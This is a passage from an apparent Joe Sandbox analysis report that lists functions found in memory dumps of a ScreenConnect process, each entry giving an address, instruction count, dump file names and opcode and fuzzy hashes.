                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 1e3184ab03f66e73ff419dee750b8285e22d61cd490dcd4d40cb3bb8d4981829
                                                                                          • Instruction ID: 89cba7128f49b1afe30e553bdc2d5730bda48481630b5608adaf9da5ad8b7a14
                                                                                          • Opcode Fuzzy Hash: 1e3184ab03f66e73ff419dee750b8285e22d61cd490dcd4d40cb3bb8d4981829
                                                                                          • Instruction Fuzzy Hash: 99413071E006199BDB14DFA5D890BEEBBB5FF88700F14812AE805B7250DB70BD46CB91
                                                                                          Function 04555F68 Relevance: .1, Instructions: 117COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 9abf3db42631707e7ef7ddd8fdc703ef3bb41ac0849fdc613a921f131786926f
                                                                                          • Instruction ID: 177a59bf3fe3e2a5be4700dd7c9ad976868f6402c4894feb7f84853cf03c98d0
                                                                                          • Opcode Fuzzy Hash: 9abf3db42631707e7ef7ddd8fdc703ef3bb41ac0849fdc613a921f131786926f
                                                                                          • Instruction Fuzzy Hash: ED415E707007418FD720DF29D494A2AB7F2FF89324B548A59E89A9B3A5E731F846DB40
                                                                                          Function 04554730 Relevance: .1, Instructions: 106COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: d8094c06cd9cdcd136ebede05b3ddb6f9ebf31136045f052a92869f0137fde09
                                                                                          • Instruction ID: 10c82abbcc9250f68a39b0cc2ded6cb5b52b08e4ca0e0f00c097df11134f908d
                                                                                          • Opcode Fuzzy Hash: d8094c06cd9cdcd136ebede05b3ddb6f9ebf31136045f052a92869f0137fde09
                                                                                          • Instruction Fuzzy Hash: 69316034B101058FDB04DFA8D5946AEF7E6FF8A254B10846AD81AE7768EB34FC419B90
                                                                                          Function 04557458 Relevance: .1, Instructions: 99COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 39560b41e88405869750df506ee7c094832fadf208e968c84903d1f40aeabff8
                                                                                          • Instruction ID: fdfd1ef6b9d2c16207fbc000fcfa22c738ed8bf671b8001ce738cb41cc48c7d1
                                                                                          • Opcode Fuzzy Hash: 39560b41e88405869750df506ee7c094832fadf208e968c84903d1f40aeabff8
                                                                                          • Instruction Fuzzy Hash: 564128347006068FCB14DF68E994D6ABBF2FF89314B1585A9E81A9B365EB31EC05CB50
                                                                                          Function 04557468 Relevance: .1, Instructions: 95COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 5148397d8f6b66aa48ae78e1e47dfc89a2cea711f6464d854c50095e73d3072c
                                                                                          • Instruction ID: 15c178653ab89c271207e85c039b2d942182ef8e679432a150901caf53844ee5
                                                                                          • Opcode Fuzzy Hash: 5148397d8f6b66aa48ae78e1e47dfc89a2cea711f6464d854c50095e73d3072c
                                                                                          • Instruction Fuzzy Hash: 933114347406068FCB14DF68E994D6ABBF2FF89314B1085A9E81A9B364EB30FC45CB50
                                                                                          Function 04554B40 Relevance: .1, Instructions: 92COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: e4655f8f62d8bc40dcd81b43cbd77324f2a25f2339d9de83a5fbfccb889ff5bf
                                                                                          • Instruction ID: e3f6737f3b956190b9e8c6cec799d7346962322eca01e3e51332e8e43c83b212
                                                                                          • Opcode Fuzzy Hash: e4655f8f62d8bc40dcd81b43cbd77324f2a25f2339d9de83a5fbfccb889ff5bf
                                                                                          • Instruction Fuzzy Hash: 9A310B306007018FC734DF29E85866AB7F5FF89321B104B2DD4968B6F4EB70A989DB91
                                                                                          Function 04556BE0 Relevance: .1, Instructions: 88COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 004e8620b0bcb5a380ba4b7a1b56f235b465ee05ee35e25af756c27ede228973
                                                                                          • Instruction ID: f4bb3f1471afddd0ed4dbcf4c01acd7bd0391faed3e322cf50a492f4a30186b5
                                                                                          • Opcode Fuzzy Hash: 004e8620b0bcb5a380ba4b7a1b56f235b465ee05ee35e25af756c27ede228973
                                                                                          • Instruction Fuzzy Hash: C3212E661093811FE302AB38A8E55CE7FA1FFD215430545B6C0898B667EE14EC4A83A5
                                                                                          Function 017BD670 Relevance: .1, Instructions: 75COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2940278795.00000000017BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 017BD000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_17bd000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 055c42e87249bd51febc62c3848512187155af5fa5d2383b2a6382fbe12fb2f7
                                                                                          • Instruction ID: f52e4617409c4035fe9eeddcd421af537689d76e634b5d145e6b7aa3955caa31
                                                                                          • Opcode Fuzzy Hash: 055c42e87249bd51febc62c3848512187155af5fa5d2383b2a6382fbe12fb2f7
                                                                                          • Instruction Fuzzy Hash: 9F2167B5500280DFCB26DF58C9C4BA7FF65FB88318F20C1A9E8090B256C336D446CBA1
                                                                                          Function 04556452 Relevance: .1, Instructions: 74COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 5e40261b87f2b44b1566e5bc6a57a17eb7c6d4fe89e8e8bb553c2c632c3e8df2
                                                                                          • Instruction ID: b22b854dc432b681f88254920f85a223340cfcd5527d54abff34643f4db5c677
                                                                                          • Opcode Fuzzy Hash: 5e40261b87f2b44b1566e5bc6a57a17eb7c6d4fe89e8e8bb553c2c632c3e8df2
                                                                                          • Instruction Fuzzy Hash: D0113A5574A6C05FC701D37858B08DF3FB9FE972583868097E489CB163E6149D0793B2
                                                                                          Function 04553508 Relevance: .1, Instructions: 74COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 432d6c5699bd5a6942813f67e6263111959f426e2f425ec5c058443b5e04ce38
                                                                                          • Instruction ID: 2328140b3c1b85336dda889935731a8579d4c58817db3be84e697676424af529
                                                                                          • Opcode Fuzzy Hash: 432d6c5699bd5a6942813f67e6263111959f426e2f425ec5c058443b5e04ce38
                                                                                          • Instruction Fuzzy Hash: CA21B6702406016FD305EB24E984B9AFBA6FF85354F108639E4058B355DB71BC4ACBD0
                                                                                          Function 04556548 Relevance: .1, Instructions: 70COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: ee99d223bea2a9c3b3bcdfc8a204672028a31bf8d122055c42d3c41054f6ef81
                                                                                          • Instruction ID: a031b9303163006ce9f7e419ea51547f5dac2970b8387c670dfc60a41366019c
                                                                                          • Opcode Fuzzy Hash: ee99d223bea2a9c3b3bcdfc8a204672028a31bf8d122055c42d3c41054f6ef81
                                                                                          • Instruction Fuzzy Hash: 9E21E931A402198FDF14DBA8D964AADBBF1BF88314F454469E509AB374DB78EC44CB90
                                                                                          Function 04556538 Relevance: .1, Instructions: 70COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: b2e4e1dc7989d48beabcbb7ec3ff36dafc1b0abe2e0156ba2e7a1dc9b4716936
                                                                                          • Instruction ID: 6484c1925949bc8cc9c89ee6aabfcada3b555a0deb8aff1bb5b5e0e7e9c37d6a
                                                                                          • Opcode Fuzzy Hash: b2e4e1dc7989d48beabcbb7ec3ff36dafc1b0abe2e0156ba2e7a1dc9b4716936
                                                                                          • Instruction Fuzzy Hash: 9E215C71A412198FDB14DB68D9A4AEDBBF1BF48310F454469E809AB374DB38EC41CB90
                                                                                          Function 04556380 Relevance: .1, Instructions: 67COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 8c0b5678d5849246816c04a8ed06d4879cca99c7f94258dbeaa5b74d1487e6ea
                                                                                          • Instruction ID: b235706b034a30d0b07dbff1de0f99b69ad2f0c6f5694e4038eb9feec849683b
                                                                                          • Opcode Fuzzy Hash: 8c0b5678d5849246816c04a8ed06d4879cca99c7f94258dbeaa5b74d1487e6ea
                                                                                          • Instruction Fuzzy Hash: B311D5716082855FD710CF69E8549EABFB9FF85210B05C06AFC4DD7215D634E902D7A0
                                                                                          Function 04550DA0 Relevance: .1, Instructions: 64COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 74515865abd9a1f0150f9c36d578a6d46fe9da842d996d1159b5c0d71c99b370
                                                                                          • Instruction ID: a05762a2706d2240696c9bc915b343f40e857d87dc601e63f1ae9a8997cbfd1c
                                                                                          • Opcode Fuzzy Hash: 74515865abd9a1f0150f9c36d578a6d46fe9da842d996d1159b5c0d71c99b370
                                                                                          • Instruction Fuzzy Hash: A32159B6C00249DFCB10CF9AC844ADEBFF5FB48310F14841AE915A7210C735A555DFA1
                                                                                          Function 04550AE1 Relevance: .1, Instructions: 64COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: bcf8f8c0f697b2947eaf3f2f460fba07ac36f5013896886a32a74cd1cc3bdd2e
                                                                                          • Instruction ID: 2c984ca99eb507b1679e0437b09f4164e82f8a77cc1e34d069740dd08e9c6674
                                                                                          • Opcode Fuzzy Hash: bcf8f8c0f697b2947eaf3f2f460fba07ac36f5013896886a32a74cd1cc3bdd2e
                                                                                          • Instruction Fuzzy Hash: 6A214932D10B0A9ACB00EFB8D8905EEF7B0FF99314F10C62AD558B7111FB70A2968781
                                                                                          Function 04556E83 Relevance: .1, Instructions: 61COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 56a7660af375796deeb177a99329880582b5211d7b925eab878b9d33fa25160d
                                                                                          • Instruction ID: 90f3660e9d8b9a611ac19c837669ab219434ebf71a837351061f0880037a7df9
                                                                                          • Opcode Fuzzy Hash: 56a7660af375796deeb177a99329880582b5211d7b925eab878b9d33fa25160d
                                                                                          • Instruction Fuzzy Hash: 9A11DB726093805FD3068B389CA04DABF71EE9321434984BBD049CF277DA25EC07CB61
                                                                                          Function 045517F0 Relevance: .1, Instructions: 61COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 74b1f94d8599cbda5f383f2f593a1c14f6880e1b4189ba6b052f1965f18cb44a
                                                                                          • Instruction ID: 6a1a99ba39955e4be6fbaea5e0c7b9bb4c543e7de30fab855d03ee0763b9f2f5
                                                                                          • Opcode Fuzzy Hash: 74b1f94d8599cbda5f383f2f593a1c14f6880e1b4189ba6b052f1965f18cb44a
                                                                                          • Instruction Fuzzy Hash: 2D1126767045009FC314DA2DF8D49AEF7AAFBC9220314C46BE909C7312CA32EC038794
                                                                                          Function 017BD66B Relevance: .1, Instructions: 56COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2940278795.00000000017BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 017BD000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_17bd000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
                                                                                          • Instruction ID: 01132eeef6860792c6a09ec1b403c2075d67230cdc8c5032ac584947f3358887
                                                                                          • Opcode Fuzzy Hash: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
                                                                                          • Instruction Fuzzy Hash: EB11AF76504280CFDB16CF54D9C4B96FF62FB98324F24C6A9D9090B256C336D45ACBA1
                                                                                          Function 04554722 Relevance: .1, Instructions: 56COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 386ee691e33c2b84c9cd013954e3f3c6743f444beb2e107a3dec872021ca8c7a
                                                                                          • Instruction ID: f644130ff8660d968cd5917f1f53f569670915b7e71e2e8b6151672154f70de4
                                                                                          • Opcode Fuzzy Hash: 386ee691e33c2b84c9cd013954e3f3c6743f444beb2e107a3dec872021ca8c7a
                                                                                          • Instruction Fuzzy Hash: D401D6317005111FDB149B7C9594A9EF7EAEFCA658701806AD41DC736AEB34EC4243D1
                                                                                          Function 04553D30 Relevance: .1, Instructions: 56COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 8547a9a2bbdd355888c41821f24676a0e3ad8259e4c123c38f223cdad2f0deab
                                                                                          • Instruction ID: 258adffb4443a576a8b6a2d652ddff91f73c5e7d0f46418a43153373cbf7ecef
                                                                                          • Opcode Fuzzy Hash: 8547a9a2bbdd355888c41821f24676a0e3ad8259e4c123c38f223cdad2f0deab
                                                                                          • Instruction Fuzzy Hash: FA215EB4E4020AAFDB04DFA8E4599AEFBB2FF84214B104574D909A7354DB30BD45EF51
                                                                                          Function 04551760 Relevance: .1, Instructions: 54COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 7927870aeb02e9930141adfe85daf74b0a2ae395f0934bb4326f2db6915be332
                                                                                          • Instruction ID: fb04a2d38fed9f43072ecee872ef4731ecbc03e6f887583d1d188050028b4f85
                                                                                          • Opcode Fuzzy Hash: 7927870aeb02e9930141adfe85daf74b0a2ae395f0934bb4326f2db6915be332
                                                                                          • Instruction Fuzzy Hash: 81016D7170E3844FD312972AAC948AABFA9FF8264030440E7D405CB267EA10EC0A83A1
                                                                                          Function 0455FF40 Relevance: .1, Instructions: 53COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: dce763090e86ab205a7103d127245ec2600c9f3c4b2d5a756c6984c77d2262aa
                                                                                          • Instruction ID: 4bb937ee338c80d9f3810bb5cdd5a2f66bed82332db65e7dc4634aba7ec533b3
                                                                                          • Opcode Fuzzy Hash: dce763090e86ab205a7103d127245ec2600c9f3c4b2d5a756c6984c77d2262aa
                                                                                          • Instruction Fuzzy Hash: 9A1100312007008FC730CF6AE490A62F7F5EF453647148B2ED89AC7AA5D731F84A9B80
                                                                                          Function 04556FA8 Relevance: .1, Instructions: 52COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: ae1e7bb85da9bf99402af0c5e9409f7966a231066e95958ec161707561f8f1e9
                                                                                          • Instruction ID: eaae6bcebb3ea51a01ed8d35471c444556af21ba22db505e7c981e868f7f5f18
                                                                                          • Opcode Fuzzy Hash: ae1e7bb85da9bf99402af0c5e9409f7966a231066e95958ec161707561f8f1e9
                                                                                          • Instruction Fuzzy Hash: D4018C357006128F8721DFA9D49492AB7E6BF8C364324406AE94ADB329DF31FD02DF81
                                                                                          Function 04556C48 Relevance: .0, Instructions: 49COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 7ddbb5abf664494cbbab49735b9cc554e7fb8e81089b1b11cf9451003107e315
                                                                                          • Instruction ID: 9522d0fdb3b817eef396f01d2359891ea268909a3409755d4fc9b424bb5554c4
                                                                                          • Opcode Fuzzy Hash: 7ddbb5abf664494cbbab49735b9cc554e7fb8e81089b1b11cf9451003107e315
                                                                                          • Instruction Fuzzy Hash: 2F01DF713002012BF701AB79A49966FB6D3FFC02647908939D11E9B318EF20FC4997A1
                                                                                          Function 04553869 Relevance: .0, Instructions: 49COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 15708a92b18a3d1ed069a3e543e6b247246880d3fb9b0fc3e1d2a967a613c0a6
                                                                                          • Instruction ID: cdf47df1831a03ec2c6d62d4e9d2cab52144316fe367e32f561b759693e2f341
                                                                                          • Opcode Fuzzy Hash: 15708a92b18a3d1ed069a3e543e6b247246880d3fb9b0fc3e1d2a967a613c0a6
                                                                                          • Instruction Fuzzy Hash: 1F11ED70A06348AFCB08CF78E55576DBBF6FB41200F1085AEDC09CB241E731AE05AB51
                                                                                          Function 017BD01D Relevance: .0, Instructions: 45COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2940278795.00000000017BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 017BD000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_17bd000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: d3aa103ec7cee28ac1ade494a1d20f0702e94bc99d332ae6a4e442124078e9eb
                                                                                          • Instruction ID: 90bf71bf137424ef481c94b7fdd86aa0aed63a4df41b7dbf65539e3ecdb03d32
                                                                                          • Opcode Fuzzy Hash: d3aa103ec7cee28ac1ade494a1d20f0702e94bc99d332ae6a4e442124078e9eb
                                                                                          • Instruction Fuzzy Hash: 88012B311083409AE7304BA9CDC4BA7FFD8EF413A8F18C469ED484B186C379D841C6B1
                                                                                          Function 045563EF Relevance: .0, Instructions: 44COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: d6cdb46d725ce65119e85f4364f18b6a4ec1c4fa9cd9005dffef7e1c8eb6e859
                                                                                          • Instruction ID: 05e79d734aabc5bc5d885fe637618691a96c19432c895ace74d6fa6629dc0515
                                                                                          • Opcode Fuzzy Hash: d6cdb46d725ce65119e85f4364f18b6a4ec1c4fa9cd9005dffef7e1c8eb6e859
                                                                                          • Instruction Fuzzy Hash: 60F0C275B00155AF8740DE5D98909EFBBFAFFDA214705C06BE84CCB201E630DA0387A1
                                                                                          Function 045513AB Relevance: .0, Instructions: 41COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 4990e09917f72105a55b44077fb9011db2f24854d07bab8483c39559a121f54f
                                                                                          • Instruction ID: 4b9d6df78e37b6b4dd660d95a363e9d28075b809b8279e19067c6ff7bbda1220
                                                                                          • Opcode Fuzzy Hash: 4990e09917f72105a55b44077fb9011db2f24854d07bab8483c39559a121f54f
                                                                                          • Instruction Fuzzy Hash: C8F0FC326042157FDB019F9468945EF7FA7FBC9314B00401AF509D7252DB32991693A5
                                                                                          Function 04556390 Relevance: .0, Instructions: 40COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 27820ab85458bb9609d335f44af91383b97effa4d55d5c8664bb1099f56118bd
                                                                                          • Instruction ID: 30e13eb2adc88e6f02d31b622f9f4266386476456518755adf0af8a2204b3c2a
                                                                                          • Opcode Fuzzy Hash: 27820ab85458bb9609d335f44af91383b97effa4d55d5c8664bb1099f56118bd
                                                                                          • Instruction Fuzzy Hash: 86F0A476B001199B8B10DE5DE8108EEBBB5FFC4221B14C427FD58D7200E630E919DBA0
                                                                                          Function 017BD01C Relevance: .0, Instructions: 36COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2940278795.00000000017BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 017BD000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_17bd000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: b1c710bbdd89cc4fd2de8a43eefdede43f9711a638b33b316b0e80427671f97e
                                                                                          • Instruction ID: 05010bcbc821314ae01a7043a75b66ceb59af54c1dc48426d807186f74a7c51a
                                                                                          • Opcode Fuzzy Hash: b1c710bbdd89cc4fd2de8a43eefdede43f9711a638b33b316b0e80427671f97e
                                                                                          • Instruction Fuzzy Hash: B1F068714043449EE7218A1ADDC4BA2FFE8EB41668F18C55AED484E286C3759845CAB1
                                                                                          Function 0455134F Relevance: .0, Instructions: 36COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
